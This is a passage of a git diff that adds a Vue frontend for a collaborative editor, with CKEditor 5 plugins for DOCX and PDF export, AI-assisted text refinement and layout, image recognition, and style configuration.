"sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/yorkie/node_modules/lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-4.1.5.tgz", + "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dev": true, + "dependencies": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "node_modules/yorkie/node_modules/normalize-path": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-1.0.0.tgz", + "integrity": "sha512-7WyT0w8jhpDStXRq5836AMmihQwq2nrUVQrgjvUo/p/NZf9uy/MeJ246lBJVmWuYXMlJuG9BNZHF0hWjfTbQUA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yorkie/node_modules/shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==", + "dev": true, + "dependencies": { + "shebang-regex": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yorkie/node_modules/shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/yorkie/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/yorkie/node_modules/yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==", + "dev": true + } + } +} diff --git a/coeditor_frontend/package.json b/coeditor_frontend/package.json new file mode 100644 index 0000000..224f16d --- /dev/null +++ b/coeditor_frontend/package.json @@ -0,0 +1,61 @@ +{ + "name": "coeditor_frontend", + "version": "0.1.0", + "private": true, + "scripts": { + "serve": "vue-cli-service serve", + "build": "vue-cli-service build", + "lint": "vue-cli-service lint" + }, + "dependencies": { + "@ckeditor/ckeditor5-vue": "^7.2.0", + "@popperjs/core": "^2.11.8", + "axios": "^1.7.7", + "bootstrap": "^5.3.3", + "ckeditor5": "^43.3.1", + "core-js": "^3.8.3", + "element-plus": "^2.8.7", + "file-saver": "^2.0.5", + "html-docx-js-typescript": "^0.1.5", + "jquery": "^3.7.1", + "jwt-decode": "^4.0.0", + "mitt": "^3.0.1", + "vue": "^3.5.13", + "vue-router": "^4.0.3", + "vuex": "^4.0.0" + }, + "devDependencies": { + "@babel/core": "^7.12.16", + "@babel/eslint-parser": "^7.12.16", + "@vue/cli-plugin-babel": "~5.0.0", + "@vue/cli-plugin-eslint": "~5.0.0", + "@vue/cli-plugin-router": "~5.0.0", + "@vue/cli-plugin-vuex": "~5.0.0", + "@vue/cli-service": "~5.0.0", + "eslint": "^7.32.0", + "eslint-plugin-vue": "^8.0.3", + "unplugin-auto-import": "^0.16.1", + "unplugin-vue-components": "^0.25.0" + }, + "eslintConfig": { + "root": true, + "env": { + "node": true, + "vue/setup-compiler-macros": true + }, + "extends": [ + "plugin:vue/vue3-essential", + "eslint:recommended" + ], + "parserOptions": { + "parser": "@babel/eslint-parser" + }, + "rules": {} + }, + "browserslist": [ + "> 1%", + "last 2 versions", + "not dead", + "not ie 11" + ] +} diff --git a/coeditor_frontend/public/favicon.ico b/coeditor_frontend/public/favicon.ico new file mode 100644 index 0000000..df36fcf Binary files /dev/null and b/coeditor_frontend/public/favicon.ico differ diff --git a/coeditor_frontend/public/index.html b/coeditor_frontend/public/index.html new file mode 100644 index 0000000..3e5a139 --- /dev/null +++ b/coeditor_frontend/public/index.html @@ -0,0 +1,17 @@ + + + + + + + + <%= htmlWebpackPlugin.options.title %> + + + +
+ + + diff --git a/coeditor_frontend/src/App.vue b/coeditor_frontend/src/App.vue new file mode 100644 index 0000000..3af38b0 --- /dev/null +++ b/coeditor_frontend/src/App.vue @@ -0,0 +1,22 @@ + + + + + + diff --git a/coeditor_frontend/src/assets/file_icon.png b/coeditor_frontend/src/assets/file_icon.png new file mode 100644 index 0000000..a986534 Binary files /dev/null and b/coeditor_frontend/src/assets/file_icon.png differ diff --git a/coeditor_frontend/src/assets/folder_icon.png b/coeditor_frontend/src/assets/folder_icon.png new file mode 100644 index 0000000..2974551 Binary files /dev/null and b/coeditor_frontend/src/assets/folder_icon.png differ diff --git a/coeditor_frontend/src/assets/logo.png b/coeditor_frontend/src/assets/logo.png new file mode 100644 index 0000000..f3d2503 Binary files /dev/null and b/coeditor_frontend/src/assets/logo.png differ diff --git a/coeditor_frontend/src/components/ContentBase.vue b/coeditor_frontend/src/components/ContentBase.vue new file mode 100644 index 0000000..277781e --- /dev/null +++ b/coeditor_frontend/src/components/ContentBase.vue @@ -0,0 +1,19 @@ + + + + + + diff --git a/coeditor_frontend/src/components/FileFiled.vue b/coeditor_frontend/src/components/FileFiled.vue new file mode 100644 index 0000000..07ae358 --- /dev/null +++ b/coeditor_frontend/src/components/FileFiled.vue @@ -0,0 +1,134 @@ + + + + + + diff --git a/coeditor_frontend/src/components/NavBar.vue b/coeditor_frontend/src/components/NavBar.vue new file mode 100644 index 0000000..c368a31 --- /dev/null +++ b/coeditor_frontend/src/components/NavBar.vue @@ -0,0 +1,44 @@ + + + diff --git a/coeditor_frontend/src/components/PathBar.vue b/coeditor_frontend/src/components/PathBar.vue new file mode 100644 index 0000000..3f4d441 --- /dev/null +++ b/coeditor_frontend/src/components/PathBar.vue @@ -0,0 +1,37 @@ + + + + diff --git a/coeditor_frontend/src/components/RightMenu.vue b/coeditor_frontend/src/components/RightMenu.vue new file mode 100644 index 0000000..1d0925d --- /dev/null +++ b/coeditor_frontend/src/components/RightMenu.vue @@ -0,0 +1,120 @@ + + + + + + diff --git a/coeditor_frontend/src/components/plugins.js b/coeditor_frontend/src/components/plugins.js new file mode 100644 index 0000000..120d799 --- /dev/null +++ b/coeditor_frontend/src/components/plugins.js @@ -0,0 +1,940 @@ +import { + AccessibilityHelp, + Alignment, + Autoformat, + AutoImage, + AutoLink, + Autosave, + BalloonToolbar, + Base64UploadAdapter, + BlockQuote, + Bold, + Code, + CodeBlock, + Essentials, + FindAndReplace, + FontBackgroundColor, + FontColor, + FontFamily, + FontSize, + GeneralHtmlSupport, + Heading, + Highlight, + HorizontalLine, + ImageBlock, + ImageCaption, + ImageInline, + ImageInsert, + ImageInsertViaUrl, + ImageResize, + ImageStyle, + ImageTextAlternative, + ImageToolbar, + ImageUpload, + Indent, + IndentBlock, + Italic, + Link, + LinkImage, + List, + ListProperties, + // Markdown, + MediaEmbed, + Mention, + PageBreak, + Paragraph, + PasteFromMarkdownExperimental, + PasteFromOffice, + RemoveFormat, + SelectAll, + SpecialCharacters, + SpecialCharactersArrows, + SpecialCharactersCurrency, + SpecialCharactersEssentials, + SpecialCharactersLatin, + SpecialCharactersMathematical, + SpecialCharactersText, + Strikethrough, + Style, + Subscript, + Superscript, + Table, + TableCaption, + TableCellProperties, + TableColumnResize, + TableProperties, + TableToolbar, + TextTransformation, + TodoList, + Underline, + Undo, + + Plugin, + ButtonView, + createDropdown, + Collection, + addListToDropdown, +} from 'ckeditor5'; +import translations from 'ckeditor5/translations/zh-cn.js'; +import { asBlob } from 'html-docx-js-typescript' +import { saveAs } from 'file-saver'; +import { + getStyle, + getPageContent, + getUserConfigFromBackend, + saveData, + markdown2html, + html2markdown, + getUserAILayoutConfig +} from './utils'; +import mitt from 'mitt'; +// 导出为docx插件 +function exportWord() { + const pageContent = getPageContent(); + const style = getStyle(); + const page = '' + style + '' + pageContent + '' + + // console.log(page); + asBlob(page).then(data => { + saveAs(data, 'file.docx') // save as docx file + }); // asBlob() return Promise +} +class Export2Word extends Plugin { + init() { + const editor = this.editor; + + editor.ui.componentFactory.add('ExportToWord', () => { + // The button will be an instance of ButtonView. + const button = new ButtonView(); + + button.set({ + label: '导出为docx', + // withText: true + tooltip: true, + + // 图标 直接插入svg文件 + icon: '', + keystroke: 'Ctrl+W' + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + exportWord(); + }); + + // 添加快捷键 Ctrl+W 导出为docx + editor.keystrokes.set('Ctrl+W', (event, cancel) => { + exportWord(); + cancel(); + }); + return button; + }); + + // 增加菜单栏? 不显示按钮 + // editor.ui.extendMenuBar({ + // menu: { + // menuId: 'export', + // label: '导出', + // groups: [ + // { + // groupId: 'export', + // items: [ + // 'ExportToWord' + // ] + // } + // ] + // }, + // position: 'after:help' + // } + // ); + + } +} + +// 导出为PDF插件 +function printPDF() { + const pageContent = getPageContent(); + console.log(pageContent); + const style = getStyle(); + // 去掉element中的 ck-focused ck-weight_selected消除页面和图片的蓝边 + const page = '' + style + '' + pageContent.replaceAll('ck-focused', 'ck-blurred').replaceAll('ck-weight_selected', '') + '' + const newWindow = window.open('', 'PrintDocument', 'height=600,width=700,top=50,left=50'); + newWindow.document.write(page); + newWindow.document.close(); + newWindow.print(); + newWindow.onafterprint = function () { + newWindow.close(); + } +} +class Export2PDF extends Plugin { + init() { + const editor = this.editor; + + editor.ui.componentFactory.add('ExportToPDF', () => { + // The button will be an instance of ButtonView. + const button = new ButtonView(); + + button.set({ + label: '导出为PDF', + // withText: true + tooltip: true, + + // 图标 直接插入svg文件 + icon: '', + keystroke: 'Ctrl+P' + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + printPDF(); + }); + + // 添加快捷键 Ctrl+P 导出为PDF + editor.keystrokes.set('Ctrl+P', (event, cancel) => { + printPDF(); + cancel(); + }); + + return button; + }); + } +} + + +// 智能润色发送消息 +function sendDORMsg(type, fullText) { + + // 获取选中的文本,用来进行后续操作 + const selectionText = window.getSelection().toString(); + if (selectionText.trim() === '') return; + const formData = new FormData(); + formData.append('doc', selectionText); + formData.append('background', fullText); + formData.append('type', type); + const requestOptions = { + method: 'POST', + body: formData + }; + + console.log("formData:", formData); + const store = window.store; + const res = { oldContent: selectionText, newContent: '...' }; + store.commit('setCurrentTag', type); + store.commit('addContentToTag', { tag: type, newContent: res }); + const index = store.getters.getCurrentindex; + console.log("index", index); + emitter.emit('show-refine-doc-sidebar', type); + + fetch("/web_api/admin/ai_doc/doc_refine", requestOptions) + .then(response => { + if (!response.ok) { + throw new Error("请求出错"); + } + + // 根据返回的数据格式进行相应处理,这里假设返回的数据是JSON格式,所以使用response.json()解析 + return response.json(); + }) + .then(data => { + + // console.log("useStore", store); + const newRes = { oldContent: selectionText, newContent: data.data.new_doc }; + store.commit('changeContentForTag', { tag: type, index: index, newContent: newRes }); + emitter.emit('show-refine-doc-sidebar', type); + }) + .catch(error => { + console.error("POST请求出错:", error); + }); + +} + + +class RefineDoc extends Plugin { + init() { + // console.log('Translation initialized!'); + + this.editor.ui.componentFactory.add('RefineDoc', (locale) => { + const dropdownView = createDropdown(locale); + dropdownView.buttonView.set({ + label: '智能助手', + withText: true, + }); + + const items = new Collection(); + items.add({ + type: 'button', + model: { + id: 'summary', + withText: true, + label: '摘要', + } + }); + items.add({ + type: 'button', + model: { + id: 'decoration', + withText: true, + label: '润色' + } + }); + items.add({ + type: 'button', + model: { + id: 'extension', + withText: true, + label: '续写' + } + }); + items.add({ + type: 'button', + model: { + id: 'correction', + withText: true, + label: '修改' + } + }); + items.add({ + type: 'button', + model: { + id: 'translation', + withText: true, + label: '翻译' + } + }); + addListToDropdown(dropdownView, items); + + dropdownView.on('execute', (eventInfo) => { + const id = eventInfo.source.id; + sendDORMsg(id, ''); + }); + + return dropdownView; + }); + } +} + +// 侧边栏按钮 +class ToggleSideBar extends Plugin { + // constructor(toggleSidebar) { + // super(); + // this.toggleSidebar = toggleSidebar; + // } + init() { + const editor = this.editor; + + editor.ui.componentFactory.add('SideBar', () => { + // The button will be an instance of ButtonView. + const button = new ButtonView(); + + button.set({ + label: '侧边栏', + // withText: true + tooltip: true, + // 图标 直接插入svg文件 + icon: '' + + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + // 打开sidebar + const bt = document.getElementById("toggleSidebarButton"); + bt.click(); + }); + + return button; + }); + } +} + +// 保存按钮 +class SaveButton extends Plugin { + // constructor(toggleSidebar) { + // super(); + // this.toggleSidebar = toggleSidebar; + // } + init() { + const editor = this.editor; + + editor.ui.componentFactory.add('SaveButton', () => { + // The button will be an instance of ButtonView. + const button = new ButtonView(); + + button.set({ + label: '保存', + // withText: true + tooltip: true, + // 图标 直接插入svg文件 + icon: '', + keystroke: 'Ctrl+S' + + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + saveData(getPageContent()) + }); + + return button; + }); + + // 添加快捷键 Ctrl+S 保存 + editor.keystrokes.set('Ctrl+S', (event, cancel) => { + saveData(getPageContent()); + cancel(); + }); + } +} +// AI 自动排版 +async function aiformat() { + console.log("ai formatting") + const editor = window.editor; + let doc_content = editor.getData() + console.log(doc_content); + // TODO 处理html文件 + // step 1 - split images and insert text tag + // match
+ const figure_tag = /(.*?)<\/figure>/g + const figure_list = doc_content.match(figure_tag) + console.log(figure_list) + // replace img tag with text tag + var figure_listLen = 0 + if (figure_list) { + console.log("replace figure tag") + figure_listLen = figure_list.length + for (let i = 0; i < figure_listLen; i++) { + const figure = figure_list[i] + const text = `tag图片${i + 1}` + doc_content = doc_content.replace(figure, text) + } + } + const img_tag = //g + const img_list = doc_content.match(img_tag) + if(img_list){ + for(let i = 0; i < img_list.length; i++){ + const img = img_list[i] + const text = `tag图片${i + 1+figure_listLen}` + doc_content = doc_content.replace(img, text) + } + } + const markdown_content = html2markdown(doc_content) + console.log(markdown_content) + // TODO 请求大模型 + // step 2 - convert markdown response to html text and setData + // 向后端调用API并接受response + var result = '' + try { + // const response = await fetch('/web_api/admin/ai_layout/layout_generate', { + const response = await fetch('http://localhost:14514/admin/ai_layout/layout_generate', { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({ + doc_content: markdown_content, + }) + }); + + if (!response.body) { + throw new Error('No response body'); + } + + const reader = response.body.getReader(); + const decoder = new TextDecoder('utf-8'); + /* eslint-disable no-constant-condition */ + let i = 0; + while (true) { + const { done, value } = await reader.read(); + if (done) break; + const slice = decoder.decode(value, { stream: true }); + result += slice; + i++; + if (i % 10 == 0) { + // 流式展示ai排版后的内容 + const html_content = markdown2html(result) + editor.setData(html_content) + } + } + /* eslint-enable no-constant-condition */ + } catch (error) { + console.error('Error:', error); + } + // step 3 - recover original images + const markdown_response = result + let html_content = markdown2html(markdown_response) + + console.log("html_content:\n\n", html_content) + // insert original img tag + if (figure_list) { + console.log("insert figure tag") + for (let i = 0; i < figure_listLen; i++) { + const figure = figure_list[i] + const text = `tag图片${i + 1}` + html_content = html_content.replace(text, figure) + } + } + if(img_list){ + for (let i = 0; i < img_list.length; i++) { + const img = img_list[i] + const text = `tag图片${i + 1 + figure_listLen}` + html_content = html_content.replace(text, img) + } + } + editor.setData(html_content) + // step 4 - fetch users config + const user_config = getUserAILayoutConfig() + + // step 5 - apply title styles of user + // get document element + const pageContent = document.querySelector("#app > div > div > div.editor-container.editor-container_document-editor.editor-container_include-style > div.editor-container__editor-wrapper > div > div > div") + // 处理title样式 + let title = pageContent.querySelector("h1") + if (title) { + title.classList.add(user_config.titleStyle.option) + } + + // 处理一二三级heading样式 + for (let i = 0; i < 3; i++) { + const heading = pageContent.querySelectorAll(`h${i + 2}`); + if (heading.length > 0) { + const headingTag = user_config.headingStyle.option[i][0]; + const headingClass = user_config.headingStyle.option[i][1]; + console.log("headingTag:\n\n", headingTag) + console.log("headingClass:\n\n", headingClass) + // for each element + heading.forEach((element) => { + // // reset counter for heading + // const parentNode = element.parentNode; + // let currentCounterReset = parentNode.style.counterReset; + // console.log(element,"\t",parentNode,"\t",currentCounterReset) + // // TODO 有bug + // if (currentCounterReset) { + // // currentCounterReset 不存在该counterreset + // if (currentCounterReset.indexOf(headingClass + "counter") == -1) { + // currentCounterReset += " " + headingClass + "counter"; + // } + // } else { + // currentCounterReset = headingClass + "counter"; + // } + // parentNode.style.setProperty('counter-reset', currentCounterReset); + const parentNode = element.parentNode; + let currentCounterReset = new Set(parentNode.style.counterReset.split(/\s+/).filter(Boolean)); + + // 添加新的 counter 名称 + currentCounterReset.add(`${headingClass}counter`); + + // 将 Set 转换回字符串 + parentNode.style.setProperty('counter-reset', Array.from(currentCounterReset).join(' ')); + element.classList.add(headingTag, headingClass); + }) + } + } + + // 处理正文样式 + const paragraph = pageContent.querySelectorAll("p") + if (paragraph.length > 0) { + for (let i = 0; i < paragraph.length; i++) { + const element = paragraph[i]; + for (let i = 0; i < user_config.bodyStyle.option.length; i++) { + element.classList.add(user_config.bodyStyle.option[i]); + } + } + } + + // 处理块引用样式 + const blockquote = pageContent.querySelectorAll("blockquote") + if (blockquote.length > 0) { + for (let i = 0; i < blockquote.length; i++) { + const element = blockquote[i]; + for (let i = 0; i < user_config.blockquote.option.length; i++) { + element.classList.add(user_config.blockquote.option[i]); + } + } + } + + // 处理代码块样式 + const pre = pageContent.querySelectorAll("pre") + if (pre.length > 0) { + for (let i = 0; i < pre.length; i++) { + const element = pre[i]; + for (let i = 0; i < user_config.codeBlockStyle.option.length; i++) { + element.classList.add(user_config.codeBlockStyle.option[i]); + } + } + } + + // 处理列表样式 + const ul = pageContent.querySelectorAll("ul") + if (ul.length > 0) { + for (let i = 0; i < ul.length; i++) { + ul[i].classList.add(user_config.listStyle.option); + } + } + + +} + +class AiFormat extends Plugin { + init() { + const editor = this.editor; + + editor.ui.componentFactory.add('AiFormat', () => { + // The button will be an instance of ButtonView. + const button = new ButtonView(); + + button.set({ + label: '自动排版', + // withText: true + tooltip: true, + // 图标 直接插入svg文件 + icon: '', + keystroke: 'Shift+F' + + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + aiformat(); + }); + + return button; + }); + + // 添加快捷键 Shift+F 保存 + editor.keystrokes.set('Shift+F', (event, cancel) => { + aiformat(); + cancel(); + }); + } +} + +// 智能识别发送消息 +function sendRecMsg(type, editor) { + //const selection = window.getSelection(); + // const editor = this.editor; + const model = editor.model; + const imageUtils=editor.plugins.get( 'ImageUtils' ); + const imageElement = imageUtils.getClosestSelectedImageElement( model.document.selection ); + const formData = new FormData(); + var src = ''; + if (type === 'pic_recognition') { + if (imageElement) { + var imageSrc = imageElement.getAttribute('src'); + src = imageSrc.replace(/^data:image\/\w+;base64,/, ""); + } + if (src.trim() === '') return; + formData.append('pic', src); + } + else if (type === 'voc_recognition') { + return; + } + else { + return; + } + const requestOptions = { + method: 'POST', + body: formData + }; + + const store = window.store; + const res = { oldContent: '', newContent: '...' }; + store.commit('setCurrentTag', type); + store.commit('addContentToTag', { tag: type, newContent: res }); + const index = store.getters.getCurrentindex; + emitter.emit('show-ai-recg-sidebar', type); + + fetch('/web_api/admin/ai_recognition/' + type, requestOptions) + .then(response => { + if (!response.ok) { + throw new Error("请求出错"); + } + + // 根据返回的数据格式进行相应处理,这里假设返回的数据是JSON格式,所以使用response.json()解析 + return response.json(); + }) + .then(data => { + + // console.log("useStore", store); + const newRes = { oldContent: '', newContent: data.data.words }; + store.commit('changeContentForTag', { tag: type, index: index, newContent: newRes }); + emitter.emit('show-ai-recg-sidebar', type); + }) + .catch(error => { + console.error("POST请求出错:", error); + }); + +} + + +class PicRecog extends Plugin { + init() { + // console.log('Translation initialized!'); + + this.editor.ui.componentFactory.add('PicRecog', () => { + const button = new ButtonView(); + + button.set({ + label: '图片识别', + withText: true + + }); + + // Execute a callback function when the button is clicked + button.on('execute', () => { + sendRecMsg('pic_recognition', this.editor); + }); + + return button; + }); + } +} + + +// 配置CKEditor5 +function setConfig() { + // 获取用户的样式配置 + const userConfig = getUserConfigFromBackend(); + return { + toolbar: { + items: [ + 'undo', + 'redo', + '|', + 'heading', + 'style', + '|', + 'fontSize', + 'fontFamily', + 'fontColor', + 'fontBackgroundColor', + '|', + 'bold', + 'italic', + 'underline', + '|', + 'link', + 'insertImage', + 'insertTable', + 'highlight', + 'codeBlock', + 'blockquote', + '|', + 'alignment', + 'bulletedList', + 'numberedList', + 'outdent', + 'indent', + '|', 'ExportToWord', 'ExportToPDF', 'RefineDoc', 'SideBar', 'SaveButton', 'AiFormat' + ], + shouldNotGroupWhenFull: true + }, + plugins: [ + AccessibilityHelp, + Alignment, + Autoformat, + AutoImage, + AutoLink, + Autosave, + BalloonToolbar, + Base64UploadAdapter, + BlockQuote, + Bold, + Code, + CodeBlock, + Essentials, + FindAndReplace, + FontBackgroundColor, + FontColor, + FontFamily, + FontSize, + GeneralHtmlSupport, + Heading, + Highlight, + HorizontalLine, + ImageBlock, + ImageCaption, + ImageInline, + ImageInsert, + ImageInsertViaUrl, + ImageResize, + ImageStyle, + ImageTextAlternative, + ImageToolbar, + ImageUpload, + Indent, + IndentBlock, + Italic, + Link, + LinkImage, + List, + ListProperties, + // Markdown, + MediaEmbed, + Mention, + PageBreak, + Paragraph, + PasteFromMarkdownExperimental, + PasteFromOffice, + RemoveFormat, + SelectAll, + SpecialCharacters, + SpecialCharactersArrows, + SpecialCharactersCurrency, + SpecialCharactersEssentials, + SpecialCharactersLatin, + SpecialCharactersMathematical, + SpecialCharactersText, + Strikethrough, + Style, + Subscript, + Superscript, + Table, + TableCaption, + TableCellProperties, + TableColumnResize, + TableProperties, + TableToolbar, + TextTransformation, + TodoList, + Underline, + Undo, + Export2Word, RefineDoc, Export2PDF, ToggleSideBar, SaveButton, AiFormat, PicRecog + ], + balloonToolbar: ['bold', 'italic', '|', 'link', 'insertImage', '|', 'bulletedList', 'numberedList'], + //自定义设置字体 + fontFamily: { + // 自定义字体 + options: userConfig.fontFamily.options, + // 启用对所有字体名称的支持 + supportAllValues: true, + }, + fontSize: { + // 五号,小四,四号,小三,三号,小二,二号 + options: userConfig.fontSize.options, + supportAllValues: true + }, + heading: { + options: [ + { + model: 'paragraph', + title: 'Paragraph', + class: 'ck-heading_paragraph' + }, + { + model: 'heading1', + view: 'h1', + title: 'Heading 1', + class: 'ck-heading_heading1' + }, + { + model: 'heading2', + view: 'h2', + title: 'Heading 2', + class: 'ck-heading_heading2' + }, + { + model: 'heading3', + view: 'h3', + title: 'Heading 3', + class: 'ck-heading_heading3' + }, + { + model: 'heading4', + view: 'h4', + title: 'Heading 4', + class: 'ck-heading_heading4' + }, + { + model: 'heading5', + view: 'h5', + title: 'Heading 5', + class: 'ck-heading_heading5' + }, + { + model: 'heading6', + view: 'h6', + title: 'Heading 6', + class: 'ck-heading_heading6' + } + ] + }, + htmlSupport: { + allow: [ + { + name: /^.*$/, + styles: true, + attributes: true, + classes: true + } + ] + }, + image: { + toolbar: [ + 'toggleImageCaption', + 'imageTextAlternative', + '|', + 'imageStyle:inline', + 'imageStyle:wrapText', + 'imageStyle:breakText', + '|', + 'resizeImage', + '|', + 'PicRecog' + ] + }, + initialData: + '', + language: 'zh-cn', + link: { + addTargetToExternalLinks: true, + defaultProtocol: 'https://', + decorators: { + toggleDownloadable: { + mode: 'manual', + label: 'Downloadable', + attributes: { + download: 'file' + } + } + } + }, + list: { + properties: { + styles: true, + startIndex: true, + reversed: true + } + }, + mention: { + feeds: [ + { + marker: '@', + feed: [ + /* See: https://ckeditor.com/docs/ckeditor5/latest/features/mentions.html */ + ] + } + ] + }, + menuBar: { + isVisible: true, + removeItems: ['help'], + }, + placeholder: 'Type or paste your content here!', + // 用户可以自定义和管理样式 + style: { + definitions: userConfig.style.definitions + }, + table: { + contentToolbar: ['tableColumn', 'tableRow', 'mergeTableCells', 'tableProperties', 'tableCellProperties'] + }, + autosave: { + waitingTime: 180000, // (in ms) 3minutes + save() { + return saveData(getPageContent()); + } + }, + translations: [translations] + } +} +const emitter = new mitt(); +export default emitter; +export { Export2Word, Export2PDF, RefineDoc, ToggleSideBar, PicRecog, setConfig }; diff --git a/coeditor_frontend/src/components/utils.js b/coeditor_frontend/src/components/utils.js new file mode 100644 index 0000000..911279b --- /dev/null +++ b/coeditor_frontend/src/components/utils.js @@ -0,0 +1,201 @@ +// utils.js +import { MarkdownToHtml } from '@ckeditor/ckeditor5-markdown-gfm/src/markdown2html/markdown2html.js'; +import { HtmlToMarkdown } from '@ckeditor/ckeditor5-markdown-gfm/src/html2markdown/html2markdown.js'; +// 获取用户配置 +export function getUserConfigFromBackend() { + // TODO 请求用户配置 + const options = {}; + // 字体、字号、样式 + const { + fontFamilyOptions = [ + 'default', + '宋体', + '新宋体', + '仿宋', + '楷体', + '微软雅黑', + '黑体', + '华文仿宋', + '华文楷体', + '华文隶书', + '华文宋体', + '华文细黑', + '华文新魏', + '华文行楷', + '华文中宋', + '隶书', + '苹方 常规', + '幼圆', + 'Times New Roman' + ], + // 五号,小四,四号,小三,三号,小二,二号 + fontSizeOptions = [14, 'default', 16, 18.6, 20, 21.3, 24, 29.3], + styleDefinitions = [ + { + name: 'Article category', + element: 'h3', + classes: ['category'] + }, + { + name: 'Title', + element: 'h2', + classes: ['document-title'] + }, + { + name: 'Subtitle', + element: 'h3', + classes: ['document-subtitle'] + }, + { + name: 'Info box', + element: 'p', + classes: ['info-box'] + }, + { + name: 'Side quote', + element: 'blockquote', + classes: ['side-quote'] + }, + { + name: 'Marker', + element: 'span', + classes: ['marker'] + }, + { + name: 'Spoiler', + element: 'span', + classes: ['spoiler'] + }, + { + name: 'Code (dark)', + element: 'pre', + classes: ['fancy-code', 'fancy-code-dark'] + }, + { + name: 'Code (bright)', + element: 'pre', + classes: ['fancy-code', 'fancy-code-bright'] + } + ] + } = options; + // 如果传入的options没有对应项,使用默认值 + return { + fontFamily: { + options: fontFamilyOptions + }, + fontSize: { + options: fontSizeOptions + }, + style: { + definitions: styleDefinitions + } + }; +} + +// TODO 实现自动保存saveData方法,将编辑内容发送至后端 +export function saveData(data) { + // return new Promise( resolve => { + // setTimeout( () => { + // console.log( 'Saved', data ); + + // resolve(); + // }, HTTP_SERVER_LAG ); + // } ); + console.log('saving...'); + console.log(data); +} + + +// 将当前页面的样式转为内联 +export function getStyle() { + let str = ''; + const styles = document.querySelectorAll('style'); + for (let i = 0; i < styles.length; i++) { + str += styles[i].outerHTML; + } + str += ""; + str += "" + // str += "" + str += "" + return str; +} + +// 获取用户编辑的内容 +export function getPageContent() { + return window.editor.getData(); + // const pageContent =document.querySelector("#app > div > div > div.editor-container.editor-container_document-editor.editor-container_include-style > div.editor-container__editor-wrapper > div > div"); + // const pageContent = document.querySelector("#app > div > div > div > div.editor-container__editor-wrapper > div > div > div"); + // return pageContent.outerHTML; +} + +// TODO 获取并应用用户定义的样式css +export function getAndApplyUserStyles() { + // 模拟从后端获取用户定义的样式 + const response = fetch('/api/user-styles'); + const styles = response.json(); + const styleElement = document.createElement('style'); + styleElement.innerHTML = styles; + document.head.appendChild(styleElement); + return styles; +} + +// markdown转html 便于将大语言模型的输出(一般为markdown格式)转换为ckeditor的html格式 +// 利用ckeditor markdown插件的功能子类,但不能在CkeditorView.vue中直接使用markdown插件 +// 否则会改变编辑器数据处理器为markdown,即getData()需要传入markdown string,setData()返回markdown string +export function markdown2html(markdownString) { + const markdownToHtml = new MarkdownToHtml(); + const htmlString = markdownToHtml.parse(markdownString); + return htmlString; +} + +// html转markdown 便于将文件内容发送给大语言模型来进行排版 +// 再利用 @markdown2html 将大语言模型的返回内容重新转换为文件内容并展示 或做进一步处理 +export function html2markdown(htmlString) { + const htmltomarkdown = new HtmlToMarkdown(); + const markdownString = htmltomarkdown.parse(htmlString); + return markdownString +} + +// 请求用户AI生成的样式配置 +export function getUserAILayoutConfig() { + // TODO 请求用户AI生成的样式配置 + const options = {}; + // 对应的样式定义在`generatedStyle.css`中 + const { + // title + titleStyleOption = 'title1', + // 标题样式配置 如 一、二 (1)、(2) 1. 2. I. II. A. B. (一)、(二) + // 每级标题按顺序应用 [标题大小,标题样式] 大小也可自定义 + headingStyleOption = [['h3', 'heading1'], ['h4', 'heading2'], ['h5', 'heading3']], // limit 3 + // 列表样式配置 + listStyleOption = 'square', + // 下面的各项样式每一个对应的均会应用 + // 正文样式配置 小四宋体 + bodyStyleOption = ['normal-text'], + // 块引用样式配置 + blockquoteStyleOption = ['side-quote'], + // 代码块样式配置 + codeBlockStyleOption = ['fancy-code', 'fancy-code-bright'], + } = options; + // 如果传入的options没有对应项,使用默认值 + return { + titleStyle: { + option: titleStyleOption + }, + headingStyle: { + option: headingStyleOption + }, + bodyStyle: { + option: bodyStyleOption + }, + blockquoteStyle: { + option: blockquoteStyleOption + }, + codeBlockStyle: { + option: codeBlockStyleOption + }, + listStyle: { + option: listStyleOption + } + }; +} \ No newline at end of file diff --git a/coeditor_frontend/src/main.js b/coeditor_frontend/src/main.js new file mode 100644 index 